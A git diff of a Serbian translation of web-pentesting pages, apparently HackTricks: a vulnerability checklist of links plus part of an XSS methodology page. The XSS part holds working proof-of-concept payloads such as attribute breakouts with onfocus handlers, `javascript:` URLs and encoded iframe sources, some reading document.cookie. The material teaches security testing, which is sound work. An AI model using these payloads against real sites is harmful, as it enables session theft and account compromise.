## **Korisnički unos**
@ -24,25 +24,25 @@ U svakom Web Pentestu, postoji **several hidden and obvious places that might be
> Većina web aplikacija će **dozvoliti korisnicima da unesu neke podatke koji će kasnije biti obrađeni.**\
> U zavisnosti od strukture podataka koje server očekuje, neke ranjivosti mogu ili ne moraju da se primene.
### **Reflektovani vrednosti**
### **Reflektovane vrednosti**
Ako se uneti podaci mogu na neki način odraziti u odgovoru, stranica može biti ranjiva na nekoliko problema.
- [ ] [**Klijentska strana Template Injection**](client-side-template-injection-csti.md)
- [ ] [**Komandna Injekcija**](command-injection.md)
- [ ] [**Uključivanje šablona na klijentskoj strani**](client-side-template-injection-csti.md)
- [ ] [**Uključivanje komandi**](command-injection.md)
- [ ] [**CRLF**](crlf-0d-0a.md)
- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/)
- [ ] [**Uključivanje fajlova/Putanja Traversal**](file-inclusion/)
- [ ] [**Otvoreni Redirect**](open-redirect.md)
- [ ] [**Viseći markup**](dangling-markup-html-scriptless-injection/index.html)
- [ ] [**Uključivanje datoteka/Prelazak putanje**](file-inclusion/index.html)
- [ ] [**Otvorena preusmeravanja**](open-redirect.md)
- [ ] [**Zagađenje prototipa do XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)
- [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
- [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](xss-cross-site-scripting/)
- [ ] [**Uključivanje sa servera/Uključivanje sa ivice**](server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Uključivanje zahteva sa servera**](ssrf-server-side-request-forgery/index.html)
- [ ] [**Uključivanje šablona sa servera**](ssti-server-side-template-injection/index.html)
- [ ] [**Obrnuto preuzimanje taba**](reverse-tab-nabbing.md)
- [ ] [**XSLT Uključivanje sa servera**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](xss-cross-site-scripting/index.html)
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Search**](xs-search/)
- [ ] [**XS-Pretraga**](xs-search/index.html)
Neke od pomenutih ranjivosti zahtevaju posebne uslove, dok druge samo zahtevaju da se sadržaj odražava. Možete pronaći neke zanimljive poliglotove za brzo testiranje ranjivosti u:
@ -52,30 +52,30 @@ pocs-and-polygloths-cheatsheet/
### **Funkcionalnosti pretrage**
Ako se funkcionalnost može koristiti za pretragu nekih podataka unutar pozadine, možda je možete (zlo)upotrebiti za pretragu proizvoljnih podataka.
Ako se funkcionalnost može koristiti za pretraživanje nekih podataka unutar pozadine, možda je možete (zlo)upotrebiti za pretraživanje proizvoljnih podataka.
- [ ] [**Uključivanje fajlova/Putanja Traversal**](file-inclusion/)
- [ ] [**NoSQL Injekcija**](nosql-injection.md)
- [ ] [**LDAP Injekcija**](ldap-injection.md)
- [ ] [**Uključivanje datoteka/Prelazak putanje**](file-inclusion/index.html)
- [ ] [**NoSQL Uključivanje**](nosql-injection.md)
- [ ] [**LDAP Uključivanje**](ldap-injection.md)
- [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
- [ ] [**SQL Injekcija**](sql-injection/)
- [ ] [**XPATH Injekcija**](xpath-injection.md)
- [ ] [**SQL Uključivanje**](sql-injection/index.html)
- [ ] [**XPATH Uključivanje**](xpath-injection.md)
### **Obrasci, WebSockets i PostMsgs**
### **Obrasci, WebSocket-i i PostMsg-ovi**
Kada websocket pošalje poruku ili obrazac koji omogućava korisnicima da izvrše radnje, mogu se pojaviti ranjivosti.
Kada WebSocket pošalje poruku ili obrazac koji omogućava korisnicima da izvrše radnje, mogu se pojaviti ranjivosti.
- [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
- [ ] [**Zauzimanje WebSocket-a (CSWSH)**](websocket-attacks.md)
- [ ] [**PostMessage Ranjivosti**](postmessage-vulnerabilities/)
- [ ] [**PostMessage Ranjivosti**](postmessage-vulnerabilities/index.html)
### **HTTP Zaglavlja**
U zavisnosti od HTTP zaglavlja koje daje web server, neke ranjivosti mogu biti prisutne.
- [ ] [**Clickjacking**](clickjacking.md)
- [ ] [**Obilaženje Content Security Policy**](content-security-policy-csp-bypass/)
- [ ] [**Hacking sa kolačićima**](hacking-with-cookies/)
- [ ] [**Obilaženje politike bezbednosti sadržaja**](content-security-policy-csp-bypass/index.html)
- [ ] [**Hacking kolačića**](hacking-with-cookies/index.html)
- [ ] [**CORS - Pogrešne konfiguracije i obilaženje**](cors-bypass.md)
### **Obilaženja**
@ -85,8 +85,8 @@ Postoji nekoliko specifičnih funkcionalnosti gde bi neka rešenja mogla biti ko
- [ ] [**Obilaženje 2FA/OTP**](2fa-bypass.md)
- [ ] [**Obilaženje procesa plaćanja**](bypass-payment-process.md)
- [ ] [**Obilaženje Captche**](captcha-bypass.md)
- [ ] [**Obilaženje prijave**](login-bypass/)
- [ ] [**Trka uslova**](race-condition.md)
- [ ] [**Obilaženje prijave**](login-bypass/index.html)
- [ ] [**Uslovni trka**](race-condition.md)
- [ ] [**Obilaženje ograničenja brzine**](rate-limit-bypass.md)
- [ ] [**Obilaženje resetovanja zaboravljene lozinke**](reset-password.md)
- [ ] [**Ranjivosti registracije**](registration-vulnerabilities.md)
@ -94,28 +94,28 @@ Postoji nekoliko specifičnih funkcionalnosti gde bi neka rešenja mogla biti ko
### **Strukturirani objekti / Specifične funkcionalnosti**
Neke funkcionalnosti će zahtevati da **podaci budu strukturirani u vrlo specifičnom formatu** (kao što je jezik serijalizovanog objekta ili XML). Stoga, lakše je identifikovati da li aplikacija može biti ranjiva jer mora obraditi tu vrstu podataka.\
Neke **specifične funkcionalnosti** takođe mogu biti ranjive ako se koristi **specifičan format unosa** (kao što su Email Header Injekcije).
Neke **specifične funkcionalnosti** takođe mogu biti ranjive ako se koristi **specifičan format unosa** (kao što su injekcije zaglavlja e-pošte).
- [ ] [**Deserializacija**](deserialization/)
- [ ] [**Email Header Injekcija**](email-injections.md)
- [ ] [**Deserializacija**](deserialization/index.html)
- [ ] [**Injekcija zaglavlja e-pošte**](email-injections.md)
- [ ] [**JWT Ranjivosti**](hacking-jwt-json-web-tokens.md)
- [ ] [**XML Eksterni Entitet**](xxe-xee-xml-external-entity.md)
- [ ] [**XML Eksterna Entiteta**](xxe-xee-xml-external-entity.md)
### Fajlovi
### Datoteke
Funkcionalnosti koje omogućavaju učitavanje fajlova mogu biti ranjive na nekoliko problema.\
Funkcionalnosti koje generišu fajlove uključujući korisnički unos mogu izvršiti neočekivani kod.\
Korisnici koji otvaraju fajlove koje su učitali drugi korisnici ili automatski generisane uključujući korisnički unos mogu biti kompromitovani.
Funkcionalnosti koje omogućavaju učitavanje datoteka mogu biti ranjive na nekoliko problema.\
Funkcionalnosti koje generišu datoteke uključujući korisnički unos mogu izvršiti neočekivani kod.\
Korisnici koji otvaraju datoteke koje su učitali korisnici ili automatski generisane uključujući korisnički unos mogu biti kompromitovani.
- [ ] [**Učitavanje fajlova**](file-upload/)
- [ ] [**Učitavanje datoteka**](file-upload/index.html)
- [ ] [**Injekcija formula**](formula-csv-doc-latex-ghostscript-injection.md)
- [ ] [**PDF Injekcija**](xss-cross-site-scripting/pdf-injection.md)
- [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
- [ ] [**Injekcija PDF-a**](xss-cross-site-scripting/pdf-injection.md)
- [ ] [**XSS sa servera**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Spoljašnje upravljanje identitetom**
### **Upravljanje spoljnim identitetom**
- [ ] [**OAUTH do preuzimanja naloga**](oauth-to-account-takeover.md)
- [ ] [**SAML napadi**](saml-attacks/)
- [ ] [**SAML napadi**](saml-attacks/index.html)
### **Druge korisne ranjivosti**
@ -124,6 +124,6 @@ Ove ranjivosti mogu pomoći u eksploataciji drugih ranjivosti.
- [ ] [**Preuzimanje domena/subdomena**](domain-subdomain-takeover.md)
- [ ] [**IDOR**](idor.md)
- [ ] [**Zagađenje parametara**](parameter-pollution.md)
- [ ] [**Ranjivost normalizacije Unicode-a**](unicode-injection/)
- [ ] [**Ranjivost normalizacije Unicode-a**](unicode-injection/index.html)
{{#include ../banners/hacktricks-training.md}}

View File

@ -11,7 +11,7 @@ U svakom Web Pentestu, postoji **several hidden and obvious places that might be
- [ ] [**Zloupotreba hop-by-hop zaglavlja**](../abusing-hop-by-hop-headers.md)
- [ ] [**Trovanje kešom/Obmanjivanje keša**](../cache-deception.md)
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
- [ ] [**Uključivanje sa servera/Uključivanje sa ivice**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Otkrivanje Cloudflare-a**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
@ -24,27 +24,27 @@ U svakom Web Pentestu, postoji **several hidden and obvious places that might be
> Većina web aplikacija će **dozvoliti korisnicima da unesu neke podatke koji će kasnije biti obrađeni.**\
> U zavisnosti od strukture podataka koje server očekuje, neke ranjivosti mogu ili ne moraju da se primene.
### **Reflektovani vrednosti**
### **Reflektovane vrednosti**
Ako se uneti podaci mogu na neki način odraziti u odgovoru, stranica može biti ranjiva na nekoliko problema.
Ako se uneti podaci mogu na neki način reflektovati u odgovoru, stranica može biti ranjiva na nekoliko problema.
- [ ] [**Uključivanje šablona sa klijentske strane**](../client-side-template-injection-csti.md)
- [ ] [**Uključivanje komandi**](../command-injection.md)
- [ ] [**CRLF**](../crlf-0d-0a.md)
- [ ] [**Viseći markup**](../dangling-markup-html-scriptless-injection/)
- [ ] [**Uključivanje datoteka/Prelazak putanje**](../file-inclusion/)
- [ ] [**Viseći markup**](../dangling-markup-html-scriptless-injection/index.html)
- [ ] [**Uključivanje datoteka/Prelazak putanje**](../file-inclusion/index.html)
- [ ] [**Otvoreni preusmeravanje**](../open-redirect.md)
- [ ] [**Zagađenje prototipa do XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**Uključivanje sa servera/Uključivanje sa ivice**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Uključivanje zahteva sa servera**](../ssrf-server-side-request-forgery/)
- [ ] [**Uključivanje šablona sa servera**](../ssti-server-side-template-injection/)
- [ ] [**Obrnuto tab nabbing**](../reverse-tab-nabbing.md)
- [ ] [**Uključivanje zahteva sa servera**](../ssrf-server-side-request-forgery/index.html)
- [ ] [**Uključivanje šablona sa servera**](../ssti-server-side-template-injection/index.html)
- [ ] [**Obrnuto preuzimanje taba**](../reverse-tab-nabbing.md)
- [ ] [**XSLT Uključivanje sa servera**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](../xss-cross-site-scripting/)
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Search**](../xs-search.md)
- [ ] [**XS-Pretraga**](../xs-search.md)
Neke od pomenutih ranjivosti zahtevaju posebne uslove, dok druge samo zahtevaju da se sadržaj odrazi. Možete pronaći neke zanimljive poliglotove za brzo testiranje ranjivosti u:
Neke od pomenutih ranjivosti zahtevaju posebne uslove, dok druge samo zahtevaju da se sadržaj reflektuje. Možete pronaći neke zanimljive poliglotove za brzo testiranje ranjivosti u:
{{#ref}}
../pocs-and-polygloths-cheatsheet/
@ -52,30 +52,30 @@ Neke od pomenutih ranjivosti zahtevaju posebne uslove, dok druge samo zahtevaju
### **Funkcionalnosti pretrage**
Ako se funkcionalnost može koristiti za pretragu nekih podataka unutar pozadine, možda je možete (zlo)upotrebiti za pretragu proizvoljnih podataka.
Ako se funkcionalnost može koristiti za pretragu neke vrste podataka unutar pozadine, možda je možete (zlo)upotrebiti za pretragu proizvoljnih podataka.
- [ ] [**Uključivanje datoteka/Prelazak putanje**](../file-inclusion/)
- [ ] [**Uključivanje datoteka/Prelazak putanje**](../file-inclusion/index.html)
- [ ] [**NoSQL Uključivanje**](../nosql-injection.md)
- [ ] [**LDAP Uključivanje**](../ldap-injection.md)
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
- [ ] [**SQL Uključivanje**](../sql-injection/)
- [ ] [**SQL Uključivanje**](../sql-injection/index.html)
- [ ] [**XPATH Uključivanje**](../xpath-injection.md)
### **Obrasci, WebSockets i PostMsgs**
### **Obrasci, WebSocket-i i PostMsg-ovi**
Kada websocket pošalje poruku ili obrazac koji omogućava korisnicima da izvrše radnje, mogu se pojaviti ranjivosti.
Kada WebSocket pošalje poruku ili obrazac koji omogućava korisnicima da izvrše radnje, mogu se pojaviti ranjivosti.
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
- [ ] [**Hacking WebSocket-a (CSWSH)**](../websocket-attacks.md)
- [ ] [**PostMessage Ranjivosti**](../postmessage-vulnerabilities/)
- [ ] [**Hakovane WebSocket sesije (CSWSH)**](../websocket-attacks.md)
- [ ] [**PostMessage Ranjivosti**](../postmessage-vulnerabilities/index.html)
### **HTTP Zaglavlja**
U zavisnosti od HTTP zaglavlja koje daje web server, neke ranjivosti mogu biti prisutne.
- [ ] [**Clickjacking**](../clickjacking.md)
- [ ] [**Obilaženje politike bezbednosti sadržaja**](../content-security-policy-csp-bypass/)
- [ ] [**Hacking sa kolačićima**](../hacking-with-cookies/)
- [ ] [**Obilaženje politike bezbednosti sadržaja**](../content-security-policy-csp-bypass/index.html)
- [ ] [**Hacking kolačića**](../hacking-with-cookies/index.html)
- [ ] [**CORS - Pogrešne konfiguracije i obilaženje**](../cors-bypass.md)
### **Obilaženja**
@ -85,7 +85,7 @@ Postoji nekoliko specifičnih funkcionalnosti gde bi neka rešenja mogla biti ko
- [ ] [**Obilaženje 2FA/OTP**](../2fa-bypass.md)
- [ ] [**Obilaženje procesa plaćanja**](../bypass-payment-process.md)
- [ ] [**Obilaženje Captche**](../captcha-bypass.md)
- [ ] [**Obilaženje prijave**](../login-bypass/)
- [ ] [**Obilaženje prijave**](../login-bypass/index.html)
- [ ] [**Trka uslova**](../race-condition.md)
- [ ] [**Obilaženje ograničenja brzine**](../rate-limit-bypass.md)
- [ ] [**Obilaženje resetovanja zaboravljene lozinke**](../reset-password.md)
@ -96,10 +96,10 @@ Postoji nekoliko specifičnih funkcionalnosti gde bi neka rešenja mogla biti ko
Neke funkcionalnosti će zahtevati da **podaci budu strukturirani u vrlo specifičnom formatu** (kao što je jezik serijalizovanog objekta ili XML). Stoga, lakše je identifikovati da li aplikacija može biti ranjiva jer mora obraditi tu vrstu podataka.\
Neke **specifične funkcionalnosti** takođe mogu biti ranjive ako se koristi **specifičan format unosa** (kao što su injekcije zaglavlja e-pošte).
- [ ] [**Deserijalizacija**](../deserialization/)
- [ ] [**Deserializacija**](../deserialization/index.html)
- [ ] [**Injekcija zaglavlja e-pošte**](../email-injections.md)
- [ ] [**JWT Ranjivosti**](../hacking-jwt-json-web-tokens.md)
- [ ] [**XML Spoljnja Entiteta**](../xxe-xee-xml-external-entity.md)
- [ ] [**XML Spoljna Entiteta**](../xxe-xee-xml-external-entity.md)
### Datoteke
@ -107,15 +107,15 @@ Funkcionalnosti koje omogućavaju učitavanje datoteka mogu biti ranjive na neko
Funkcionalnosti koje generišu datoteke uključujući korisnički unos mogu izvršiti neočekivani kod.\
Korisnici koji otvaraju datoteke koje su učitali korisnici ili automatski generisane uključujući korisnički unos mogu biti kompromitovani.
- [ ] [**Učitavanje datoteka**](../file-upload/)
- [ ] [**Učitavanje datoteka**](../file-upload/index.html)
- [ ] [**Injekcija formula**](../formula-csv-doc-latex-ghostscript-injection.md)
- [ ] [**PDF Injekcija**](../xss-cross-site-scripting/pdf-injection.md)
- [ ] [**Injekcija PDF-a**](../xss-cross-site-scripting/pdf-injection.md)
- [ ] [**XSS sa servera**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Upravljanje spoljnim identitetom**
- [ ] [**OAUTH do preuzimanja naloga**](../oauth-to-account-takeover.md)
- [ ] [**SAML Napadi**](../saml-attacks/)
- [ ] [**SAML napadi**](../saml-attacks/index.html)
### **Druge korisne ranjivosti**
@ -124,6 +124,6 @@ Ove ranjivosti mogu pomoći u eksploataciji drugih ranjivosti.
- [ ] [**Preuzimanje domena/subdomena**](../domain-subdomain-takeover.md)
- [ ] [**IDOR**](../idor.md)
- [ ] [**Zagađenje parametara**](../parameter-pollution.md)
- [ ] [**Ranjivost normalizacije Unicode-a**](../unicode-injection/)
- [ ] [**Ranjivost normalizacije Unicode-a**](../unicode-injection/index.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -11,7 +11,7 @@
2. Možete li koristiti događaje ili atribute koji podržavaju `javascript:` protokol?
3. Možete li zaobići zaštite?
4. Da li se HTML sadržaj interpretira od strane bilo kog klijentskog JS engine-a (_AngularJS_, _VueJS_, _Mavo_...), mogli biste zloupotrebiti [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Ako ne možete kreirati HTML tagove koji izvršavaju JS kod, možete li zloupotrebiti [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
5. Ako ne možete kreirati HTML tagove koji izvršavaju JS kod, možete li zloupotrebiti [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
2. Unutar **HTML taga**:
1. Možete li izaći u kontekst sirovog HTML-a?
2. Možete li kreirati nove događaje/atribute za izvršavanje JS koda?
@ -20,12 +20,12 @@
3. Unutar **JavaScript koda**:
1. Možete li pobjeći iz `<script>` taga?
2. Možete li pobjeći iz stringa i izvršiti različit JS kod?
3. Da li su vaši unosi u template literalu \`\`?
3. Da li su vaši ulazi u template literalu \`\`?
4. Možete li zaobići zaštite?
4. Javascript **funkcija** koja se **izvršava**
1. Možete naznačiti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
4. Ako je **korišćeno**:
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš unos kontroliše i da li se vaš **kontrolisani unos koristi od strane bilo kog sinka.**
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš ulaz kontroliše i da li se vaš **kontrolisani ulaz koristi od strane bilo kog sinka.**
Kada radite na složenom XSS-u, možda će vam biti zanimljivo da saznate o:
@ -43,21 +43,21 @@ Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vred
## Konteksti
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš unos odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljan JS kod na različite načine.
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš ulaz odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljan JS kod na različite načine.
### Sirov HTML
### Sirovi HTML
Ako se vaš unos **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
Ako se vaš ulaz **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
### Unutar atributa HTML tagova
Ako se vaš unos odražava unutar vrednosti atributa taga, mogli biste pokušati:
Ako se vaš ulaz odražava unutar vrednosti atributa taga, mogli biste pokušati:
1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
3. Ako **ne možete pobjeći iz atributa** (`"` je kodiran ili obrisan), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
4. Ako se vaš unos odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
4. Ako se vaš ulaz odražava unutar "**neeksploatabilnih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="**
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
```html
@ -69,7 +69,7 @@ Ako se vaš unos odražava unutar vrednosti atributa taga, mogli biste pokušati
U ovom slučaju, vaš unos se odražava između **`<script> [...] </script>`** oznaka HTML stranice, unutar `.js` datoteke ili unutar atributa koristeći **`javascript:`** protokol:
- Ako se odražava između **`<script> [...] </script>`** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da ubrizgate `</script>` i pobegnete iz ovog konteksta. Ovo funkcioniše jer **pregledač prvo analizira HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaša ubrizgana `</script>` oznaka unutar HTML koda.
- Ako se odražava između **`<script> [...] </script>`** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete `</script>` i pobegnete iz ovog konteksta. Ovo funkcioniše jer **pregledač prvo analizira HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaša injektovana `</script>` oznaka unutar HTML koda.
- Ako se odražava **unutar JS stringa** i poslednji trik ne funkcioniše, potrebno je da **izađete** iz stringa, **izvršite** svoj kod i **rekonstruišete** JS kod (ako dođe do greške, neće biti izvršen):
- `'-alert(1)-'`
- `';-alert(1)//`
@ -143,13 +143,13 @@ server-side-xss-dynamic-pdf.md
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
{{#endref}}
## WAF zaobilaženje kodiranja slika
## WAF zaobilaženje kodiranja slike
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## Umetanje unutar sirovog HTML-a
Kada se vaš unos odražava **unutar HTML stranice** ili možete da pobegnete i umetnete HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` da kreirate nove oznake: Samo pokušajte da **odrazite** taj **karakter** i proverite da li je **HTML kodiran** ili **izbrisan** ili ako je **odražen bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\
Kada se vaš unos odražava **unutar HTML stranice** ili možete pobjeći i umetnuti HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` da kreirate nove oznake: Samo pokušajte da **odrazite** taj **karakter** i proverite da li je **HTML kodiran** ili **izbrisan** ili ako je **odražen bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\
Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
&#xNAN;_**Napomena: HTML komentar se može zatvoriti koristeći\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*ili \*\*\*\*\*\***`--!>`\*\**_
@ -170,7 +170,7 @@ Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-shee
### Prilagođeni tagovi
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, potrebno je da završite URL sa `#` kako biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod:
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, potrebno je da završite URL sa `#` kako biste učinili da stranica **fokusira na taj objekat** i **izvrši** kod:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -235,7 +235,7 @@ onerror=alert`1`
```
The last one is using 2 unicode characters which expands to 5: telsr\
Više ovih karaktera možete pronaći [ovde](https://www.unicode.org/charts/normalization/).\
Da proverite u koje se karaktere dekomponuje, proverite [ovde](https://www.compart.com/en/unicode/U+2121).
Da proverite u koje karaktere su dekomponovani, proverite [ovde](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
@ -243,14 +243,14 @@ Ako da biste iskoristili ranjivost trebate da **korisnik klikne na link ili form
### Impossible - Dangling Markup
Ako mislite da je **nemoguće kreirati HTML tag sa atributom za izvršavanje JS koda**, trebate proveriti [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) jer možete **iskoristiti** ranjivost **bez** izvršavanja **JS** koda.
Ako mislite da je **nemoguće kreirati HTML tag sa atributom za izvršavanje JS koda**, trebate proveriti [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) jer možete **iskoristiti** ranjivost **bez** izvršavanja **JS** koda.
## Injecting inside HTML tag
### Inside the tag/escaping from attribute value
Ako ste **unutar HTML taga**, prva stvar koju možete pokušati je da **izbegnete** tag i koristite neke od tehnika pomenutih u [prethodnom odeljku](#injecting-inside-raw-html) za izvršavanje JS koda.\
Ako **ne možete da izbegnete** tag, možete kreirati nove atribute unutar taga da biste pokušali da izvršite JS kod, na primer koristeći neki payload kao (_napomena da se u ovom primeru koriste dvostruki navodnici za izbegavanje iz atributa, nećete ih trebati ako se vaš unos direktno reflektuje unutar taga_):
Ako **ne možete da pobegnete iz taga**, možete kreirati nove atribute unutar taga kako biste pokušali da izvršite JS kod, na primer koristeći neki payload kao (_napomena da se u ovom primeru koriste dvostruki navodnici za izbegavanje iz atributa, nećete ih trebati ako se vaš unos direktno reflektuje unutar taga_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -303,7 +303,7 @@ Napomena: **bilo koja vrsta HTML kodiranja je validna**:
```
### Posebni protokoli unutar atributa
Tamo možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da **izvršite proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, a neki neće.
Tamo možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da **izvršite proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, dok drugi neće.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -351,7 +351,7 @@ _**U ovom slučaju, HTML kodiranje i trik sa Unicode kodiranjem iz prethodnog od
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostruki navodnik** i vidite da **je URL kodiran**, zapamtite da **nije važno,** biće **tumačeno** kao **jednostruki navodnik** tokom **vremena izvršenja.**
Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostavni navodnik** i vidite da **je URL kodiran**, zapamtite da **nije važno,** biće **tumačeno** kao **jednostavni navodnik** tokom **vremena izvršenja.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -361,7 +361,7 @@ Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo k
**Korišćenje Hex i Octal kodiranja sa `javascript:`**
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarisete **HTML tagove za izvršavanje JS**:
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarirate **HTML tagove za izvršavanje JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -377,16 +377,16 @@ Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (
```javascript
<a target="_blank" rel="opener"
```
Ako možete da ubacite bilo koju URL adresu u proizvoljnu **`<a href=`** oznaku koja sadrži **`target="_blank" i rel="opener"`** atribute, proverite **sledeću stranicu da iskoristite ovo ponašanje**:
Ako možete da ubacite bilo koju URL adresu u proizvoljnom **`<a href=`** tagu koji sadrži **`target="_blank" i rel="opener"`** atribute, proverite **sledeću stranicu da iskoristite ovo ponašanje**:
{{#ref}}
../reverse-tab-nabbing.md
{{#endref}}
### za zaobilaženje "on" upravljača događajima
### o zaobilaženju Event Handlers
